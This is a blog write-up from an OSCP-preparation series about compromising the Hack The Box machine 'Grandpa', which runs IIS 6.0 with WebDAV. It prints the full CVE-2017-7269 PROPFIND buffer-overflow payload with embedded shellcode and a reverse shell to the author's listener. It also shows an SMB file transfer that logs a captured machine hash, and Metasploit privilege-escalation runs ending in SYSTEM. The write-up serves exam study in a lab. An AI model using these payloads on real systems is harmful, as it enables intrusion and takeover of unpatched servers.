Path to OSCP: Grandpa
As part of my progress towards achieving Offensive Security Certified Professional certification, I’m attempting to complete all NetSecFocus OSCP-style boxes on Hack The Box, and detailing each box in this “Path to OSCP” blog series.
Grandpa’s turn. Nmap to kick things off:
u01@nostromo:~$ sudo nmap -p- -A grandpa.htb -oA HTB/grandpa/grandpa Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-17 11:01 IST Nmap scan report for grandpa.htb (10.10.10.14) Host is up (0.035s latency). Not shown: 65534 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 6.0 | http-methods: |_ Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT MOVE MKCOL PROPPATCH | http-webdav-scan: | Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH | Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK | WebDAV type: Unknown | Server Type: Microsoft-IIS/6.0 |_ Server Date: Sun, 17 Sep 2023 10:03:26 GMT |_http-title: Under Construction |_http-server-header: Microsoft-IIS/6.0 Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|specialized Running (JUST GUESSING): Microsoft Windows 2003|2008|XP|2000 (90%), General Dynamics embedded (85%) OS CPE: cpe:/o:microsoft:windows_server_2003::sp1 cpe:/o:microsoft:windows_server_2003::sp2 cpe:/o:microsoft:windows_server_2008::sp2 cpe:/o:microsoft:windows_xp::sp3 cpe:/o:microsoft:windows_2000::sp4 Aggressive OS guesses: Microsoft Windows Server 2003 SP1 or SP2 (90%), Microsoft Windows Server 2008 Enterprise SP2 (90%), Microsoft Windows 2003 SP2 (88%), Microsoft Windows XP SP3 (88%), Microsoft Windows Server 2003 SP2 (88%), Microsoft Windows 2000 SP4 or Windows XP Professional SP1 (86%), Microsoft Windows XP SP2 or SP3 (86%), Microsoft Windows XP (85%), Microsoft Windows Server 2003 (85%), Microsoft Windows XP SP2 (85%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows TRACEROUTE (using port 80/tcp) HOP RTT ADDRESS 1 45.82 ms 10.10.14.1 2 45.85 ms grandpa.htb (10.10.10.14) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 122.32 seconds
The same as the previous box “Granny”, we have just HTTP exposed on Windows IIS, the same allowed HTTP methods, and the same Under Construction page:
I kick off a standard gobuster scan, but nothing of interest found. Davtest fails all tests, though this time I’m more confident that this is intentional, unlike with Granny:
u01@nostromo:~$ davtest --url grandpa.htb ******************************************************** Testing DAV connection OPEN SUCCEED: grandpa.htb ******************************************************** NOTE Random string for this session: 8IYiXCdDHrYAxx2 ******************************************************** Creating directory MKCOL FAIL ******************************************************** Sending test files PUT shtml FAIL PUT cgi FAIL PUT pl FAIL PUT cfm FAIL PUT php FAIL PUT txt FAIL PUT html FAIL PUT jhtml FAIL PUT jsp FAIL PUT aspx FAIL PUT asp FAIL ********************************************************
So I start looking for exploits related to Webdav/IIS 6.0:
u01@nostromo:~/HTB/grandpa$ searchsploit webdav iis 6.0 ------------------------------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path ------------------------------------------------------------------------------------------------------------- --------------------------------- Microsoft IIS 6.0 - WebDAV 'ScStoragePathFromUrl' Remote Buffer Overflow | windows/remote/41738.py Microsoft IIS 6.0 - WebDAV Remote Authentication Bypass | windows/remote/8765.php Microsoft IIS 6.0 - WebDAV Remote Authentication Bypass (1) | windows/remote/8704.txt Microsoft IIS 6.0 - WebDAV Remote Authentication Bypass (2) | windows/remote/8806.pl Microsoft IIS 6.0 - WebDAV Remote Authentication Bypass (Patch) | windows/remote/8754.patch ------------------------------------------------------------------------------------------------------------- ---------------------------------
The “ScStoragePathFromUrl” exploit triggers the launch of Calculator as a POC, which isn’t going to get me any flags, so a quick search of GitHub brings me to g0rx/iis6-exploit-2017-CVE-2017-7269: iis6 exploit 2017 CVE-2017-7269 (github.com), which appaers to be the same exploit except triggering a reverse shell. I open a netcat listener, provide the required arguments and get a shell as NT AUTHORITY\NETWORK SERVICE:
(py2venv) u01@nostromo:~/HTB/grandpa$ python poc1.py grandpa.htb 80 10.10.14.7 7777 PROPFIND / HTTP/1.1 Host: localhost Content-Length: 1744 If: <http://localhost/aaaaaaa潨硣睡焳椶䝲稹䭷佰畓穏䡨噣浔桅㥓偬啧杣㍤䘰硅楒吱䱘橑牁䈱瀵塐㙤汇㔹呪倴呃睒偡㈲测水㉇扁㝍兡塢䝳剐㙰畄桪㍴乊硫䥶乳䱪坺潱塊㈰㝮䭉前䡣潌畖畵景癨䑍偰稶手敗畐橲穫睢癘扈攱ご汹偊呢倳㕷橷䅄㌴摶䵆噔䝬敃瘲牸坩䌸扲娰夸呈ȂȂዀ栃汄剖䬷汭佘塚祐䥪塏䩒䅐晍Ꮐ栃䠴攱潃湦瑁䍬Ꮐ栃千橁灒㌰塦䉌灋捆关祁穐䩬> (Not <locktoken:write1>) <http://localhost/bbbbbbb祈慵佃潧歯䡅㙆杵䐳㡱坥婢吵噡楒橓兗㡎奈捕䥱䍤摲㑨䝘煹㍫歕浈偏穆㑱潔瑃奖潯獁㑗慨穲㝅䵉坎呈䰸㙺㕲扦湃䡭㕈慷䵚慴䄳䍥割浩㙱乤渹捓此兆估硯牓材䕓穣焹体䑖漶獹桷穖慊㥅㘹氹䔱㑲卥塊䑎穄氵婖扁湲昱奙吳ㅂ塥奁煐〶坷䑗卡Ꮐ栃湏栀湏栀䉇癪Ꮐ栃䉗佴奇刴䭦䭂瑤硯悂栁儵牺瑺䵇䑙块넓栀ㅶ湯ⓣ栁ᑠ栃翾 Ꮐ栃Ѯ栃煮瑰ᐴ栃⧧栁鎑栀㤱普䥕げ呫癫牊祡ᐜ栃清栀眲票䵩㙬䑨䵰艆栀䡷㉓ᶪ栂潪䌵ᏸ栃⧧栁VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBRDDKLMN8KPM0KP4KOYM4CQJINDKSKPKPTKKQTKT0D8TKQ8RTJKKX1OTKIGJSW4R0KOIBJHKCKOKOKOF0V04PF0M0A>
u01@nostromo:~$ nc -lvnp 7777 listening on [any] 7777 ... connect to [10.10.14.7] from (UNKNOWN) [10.10.10.14] 1030 Microsoft Windows [Version 5.2.3790] (C) Copyright 1985-2003 Microsoft Corp. c:\windows\system32\inetsrv>whoami whoami nt authority\network service c:\windows\system32\inetsrv>
Similar to Granny, I have trouble getting any files uploaded through certutil or powershell commands. Using (Almost) All The Ways to File Transfer | by PenTest-duck | Medium I find the SMB method works, using smbserver.py to share out the required files, and a simple cmd copy command to upload, in this case winPEAS.bat.
u01@nostromo:/repo/PEASS-ng/winPEAS/winPEASbat$ smbserver.py -debug share . Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation [+] Impacket Library Installation Path: /usr/local/lib/python3.11/dist-packages/impacket [*] Config file parsed [*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0 [*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0 [*] Config file parsed [*] Config file parsed [*] Config file parsed [*] Incoming connection (10.10.10.14,1031) [*] AUTHENTICATE_MESSAGE (\,GRANPA) [*] User GRANPA\ authenticated successfully [*] :::00::aaaaaaaaaaaaaaaa [*] AUTHENTICATE_MESSAGE (HTB\GRANPA$,GRANPA) [*] User GRANPA\GRANPA$ authenticated successfully [*] GRANPA$::HTB:bfb7e06d8afa428500000000000000000000000000000000:4d91fc8be7644f2fcba9838145917e77f23a19de1a54ddc2:aaaaaaaaaaaaaaaa [-] Unknown level for query path info! 0x109 [*] Closing down connection (10.10.10.14,1031) [*] Remaining connections []
C:\Inetpub>copy \\10.10.14.7\share\winPEAS.bat copy \\10.10.14.7\share\winPEAS.bat 1 file(s) copied. C:\Inetpub>dir dir Volume in drive C has no label. Volume Serial Number is FDCB-B9EF Directory of C:\Inetpub 09/17/2023 02:40 PM <DIR> . 09/17/2023 02:40 PM <DIR> .. 04/12/2017 05:16 PM <DIR> AdminScripts 09/02/2023 10:33 PM 36,177 winPEAS.bat 04/12/2017 05:17 PM <DIR> wwwroot 1 File(s) 36,177 bytes 4 Dir(s) 1,370,734,592 bytes free
I run the winPEAS script and we get a ton of missing patches. This box is missing the same patch as Granny, so whereas we used Metasploit on Granny to gain SYSTEM, let’s try manual exploitation on this box:
Parsing Mof File: C:\WINDOWS\system32\wbem\Cli.mof(Phase Error - 3) Compiler returned error 0x80041001 MS10-015 patch is NOT installed 2K,XP,2K3,2K8,Vista,7-User Mode to Ring)
I try a few different binaries for this vulnerabilities, including the .exe found at windows-kernel-exploits/MS10-015 at master · SecWiki/windows-kernel-exploits (github.com), but with no luck. Unfortunately I’m finding this box requires a restart after every failed escalation attempt. I pop systeminfo into windows-exploit-suggester to see what else we can work with (on a side note, to get windows-exploit-suggester to work with the database file without giving an XLSX error, I needed to run under Python 2 virtual environment and downgrade xlrd with “pip install xlrd==1.2.0”):
(py2venv) u01@nostromo:/repo/Windows-Exploit-Suggester$ python windows-exploit-suggester.py --database 2023-08-31-mssb.xls --systeminfo systeminfo.txt [*] initiating winsploit version 3.3... [*] database file detected as xls or xlsx based on extension [*] attempting to read from the systeminfo input file [+] systeminfo input file read successfully (ascii) [*] querying database file for potential vulnerabilities [*] comparing the 1 hotfix(es) against the 356 potential bulletins(s) with a database of 137 known exploits [*] there are now 356 remaining vulns [+] [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin [+] windows version identified as 'Windows 2003 SP2 32-bit' [*] [M] MS15-051: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (3057191) - Important [*] https://github.com/hfiref0x/CVE-2015-1701, Win32k Elevation of Privilege Vulnerability, PoC [*] https://www.exploit-db.com/exploits/37367/ -- Windows ClientCopyImage Win32k Exploit, MSF [*] [E] MS15-010: Vulnerabilities in Windows Kernel-Mode Driver Could Allow Remote Code Execution (3036220) - Critical [*] https://www.exploit-db.com/exploits/39035/ -- Microsoft Windows 8.1 - win32k Local Privilege Escalation (MS15-010), PoC [*] https://www.exploit-db.com/exploits/37098/ -- Microsoft Windows - Local Privilege Escalation (MS15-010), PoC [*] https://www.exploit-db.com/exploits/39035/ -- Microsoft Windows win32k Local Privilege Escalation (MS15-010), PoC [*] [E] MS14-070: Vulnerability in TCP/IP Could Allow Elevation of Privilege (2989935) - Important [*] http://www.exploit-db.com/exploits/35936/ -- Microsoft Windows Server 2003 SP2 - Privilege Escalation, PoC [*] [E] MS14-068: Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780) - Critical [*] http://www.exploit-db.com/exploits/35474/ -- Windows Kerberos - Elevation of Privilege (MS14-068), PoC [*] [M] MS14-064: Vulnerabilities in Windows OLE Could Allow Remote Code Execution (3011443) - Critical [*] https://www.exploit-db.com/exploits/37800// -- Microsoft Windows HTA (HTML Application) - Remote Code Execution (MS14-064), PoC [*] http://www.exploit-db.com/exploits/35308/ -- Internet Explorer OLE Pre-IE11 - Automation Array Remote Code Execution / Powershell VirtualAlloc (MS14-064), PoC [*] http://www.exploit-db.com/exploits/35229/ -- Internet Explorer <= 11 - OLE Automation Array Remote Code Execution (#1), PoC [*] http://www.exploit-db.com/exploits/35230/ -- Internet Explorer < 11 - OLE Automation Array Remote Code Execution (MSF), MSF [*] http://www.exploit-db.com/exploits/35235/ -- MS14-064 Microsoft Windows OLE Package Manager Code Execution Through Python, MSF [*] http://www.exploit-db.com/exploits/35236/ -- MS14-064 Microsoft Windows OLE Package Manager Code Execution, MSF [*] [M] MS14-062: Vulnerability in Message Queuing Service Could Allow Elevation of Privilege (2993254) - Important [*] http://www.exploit-db.com/exploits/34112/ -- Microsoft Windows XP SP3 MQAC.sys - Arbitrary Write Privilege Escalation, PoC [*] http://www.exploit-db.com/exploits/34982/ -- Microsoft Bluetooth Personal Area Networking (BthPan.sys) Privilege Escalation [*] [M] MS14-058: Vulnerabilities in Kernel-Mode Driver Could Allow Remote Code Execution (3000061) - Critical [*] http://www.exploit-db.com/exploits/35101/ -- Windows TrackPopupMenu Win32k NULL Pointer Dereference, MSF [*] [E] MS14-040: Vulnerability in Ancillary Function Driver (AFD) Could Allow Elevation of Privilege (2975684) - Important [*] https://www.exploit-db.com/exploits/39525/ -- Microsoft Windows 7 x64 - afd.sys Privilege Escalation (MS14-040), PoC [*] https://www.exploit-db.com/exploits/39446/ -- Microsoft Windows - afd.sys Dangling Pointer Privilege Escalation (MS14-040), PoC [*] [E] MS14-035: Cumulative Security Update for Internet Explorer (2969262) - Critical [E] MS14-029: Security Update for Internet Explorer (2962482) - Critical [*] http://www.exploit-db.com/exploits/34458/ [*] [E] MS14-026: Vulnerability in .NET Framework Could Allow Elevation of Privilege (2958732) - Important [*] http://www.exploit-db.com/exploits/35280/, -- .NET Remoting Services Remote Command Execution, PoC [*] [M] MS14-012: Cumulative Security Update for Internet Explorer (2925418) - Critical [M] MS14-009: Vulnerabilities in .NET Framework Could Allow Elevation of Privilege (2916607) - Important [E] MS14-002: Vulnerability in Windows Kernel Could Allow Elevation of Privilege (2914368) - Important [E] MS13-101: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (2880430) - Important [M] MS13-097: Cumulative Security Update for Internet Explorer (2898785) - Critical [M] MS13-090: Cumulative Security Update of ActiveX Kill Bits (2900986) - Critical [M] MS13-080: Cumulative Security Update for Internet Explorer (2879017) - Critical [M] MS13-071: Vulnerability in Windows Theme File Could Allow Remote Code Execution (2864063) - Important [M] MS13-069: Cumulative Security Update for Internet Explorer (2870699) - Critical [M] MS13-059: Cumulative Security Update for Internet Explorer (2862772) - Critical [M] MS13-055: Cumulative Security Update for Internet Explorer (2846071) - Critical [M] MS13-053: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Remote Code Execution (2850851) - Critical [M] MS13-009: Cumulative Security Update for Internet Explorer (2792100) - Critical [E] MS12-037: Cumulative Security Update for Internet Explorer (2699988) - Critical [*] http://www.exploit-db.com/exploits/35273/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5., PoC [*] http://www.exploit-db.com/exploits/34815/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5.0 Bypass (MS12-037), PoC [*] [M] MS11-080: Vulnerability in Ancillary Function Driver Could Allow Elevation of Privilege (2592799) - Important [E] MS11-011: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (2393802) - Important [M] MS10-073: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (981957) - Important [M] MS10-061: Vulnerability in Print Spooler Service Could Allow Remote Code Execution (2347290) - Critical [M] MS10-015: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (977165) - Important [M] MS10-002: Cumulative Security Update for Internet Explorer (978207) - Critical [M] MS09-072: Cumulative Security Update for Internet Explorer (976325) - Critical [M] MS09-065: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Remote Code Execution (969947) - Critical [M] MS09-053: Vulnerabilities in FTP Service for Internet Information Services Could Allow Remote Code Execution (975254) - Important [M] MS09-020: Vulnerabilities in Internet Information Services (IIS) Could Allow Elevation of Privilege (970483) - Important [M] MS09-004: Vulnerability in Microsoft SQL Server Could Allow Remote Code Execution (959420) - Important [M] MS09-002: Cumulative Security Update for Internet Explorer (961260) (961260) - Critical [M] MS09-001: Vulnerabilities in SMB Could Allow Remote Code Execution (958687) - Critical [M] MS08-078: Security Update for Internet Explorer (960714) - Critical [*] done
I try a number of these, but the reverse shell just drops to inactivity and the box generally requires a reboot after each attempt. Even after using hints to find out which exploit is most reliable to use, the suggested exploit (churrasco) fails to work after a number of attempts and reboots. Frustrated, yet again, I reach for Metasploit, which brings me from initial access to SYSTEM within 6 minutes…
msf6 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > run [*] Started reverse TCP handler on 10.10.14.7:4444 [*] Trying path length 3 to 60 ... [*] Sending stage (175686 bytes) to 10.10.10.14 [*] Meterpreter session 1 opened (10.10.14.7:4444 -> 10.10.10.14:1035) at 2023-09-17 14:45:24 +0100
msf6 post(multi/recon/local_exploit_suggester) > run [*] 10.10.10.14 - Collecting local exploits for x86/windows... [*] 10.10.10.14 - 186 exploit checks are being tried... [+] 10.10.10.14 - exploit/windows/local/ms10_015_kitrap0d: The service is running, but could not be validated. [+] 10.10.10.14 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable. [+] 10.10.10.14 - exploit/windows/local/ms14_070_tcpip_ioctl: The target appears to be vulnerable. [+] 10.10.10.14 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable. [+] 10.10.10.14 - exploit/windows/local/ms16_016_webdav: The service is running, but could not be validated. [+] 10.10.10.14 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable. [+] 10.10.10.14 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable. [*] Running check method for exploit 41 / 41 [*] 10.10.10.14 - Valid modules for session 1: ============================ # Name Potentially Vulnerable? Check Result - ---- ----------------------- ------------ 1 exploit/windows/local/ms10_015_kitrap0d Yes The service is running, but could not be validated. 2 exploit/windows/local/ms14_058_track_popup_menu Yes The target appears to be vulnerable. 3 exploit/windows/local/ms14_070_tcpip_ioctl Yes The target appears to be vulnerable. 4 exploit/windows/local/ms15_051_client_copy_image Yes The target appears to be vulnerable. 5 exploit/windows/local/ms16_016_webdav Yes The service is running, but could not be validated. 6 exploit/windows/local/ms16_075_reflection Yes The target appears to be vulnerable. 7 exploit/windows/local/ppr_flatten_rec Yes The target appears to be vulnerable.
msf6 exploit(windows/local/ms14_070_tcpip_ioctl) > run [*] Started reverse TCP handler on 10.10.14.7:4444 [*] Storing the shellcode in memory... [*] Triggering the vulnerability... [*] Checking privileges after exploitation... [+] Exploitation successful! [*] Sending stage (175686 bytes) to 10.10.10.14 [*] Meterpreter session 2 opened (10.10.14.7:4444 -> 10.10.10.14:1038) at 2023-09-17 14:52:09 +0100 meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
Takeaway for OSCP
Another really frustrating box. Despite a really unclean root however, there were still lessons learnt. The SMB transfer in particular was good to have in the toolkit. And although I’m disappointed that I had to resort again to Metasploit, this box does seem to have a reputation as being difficult to privesc in terms of number of exploits that need to be attempted through trial and error before success. This post on HTB forum pretty much sums everything up exactly: Is trial and error the only approach to 30+ possible exploits? – Off-topic / Exploits – Hack The Box :: Forums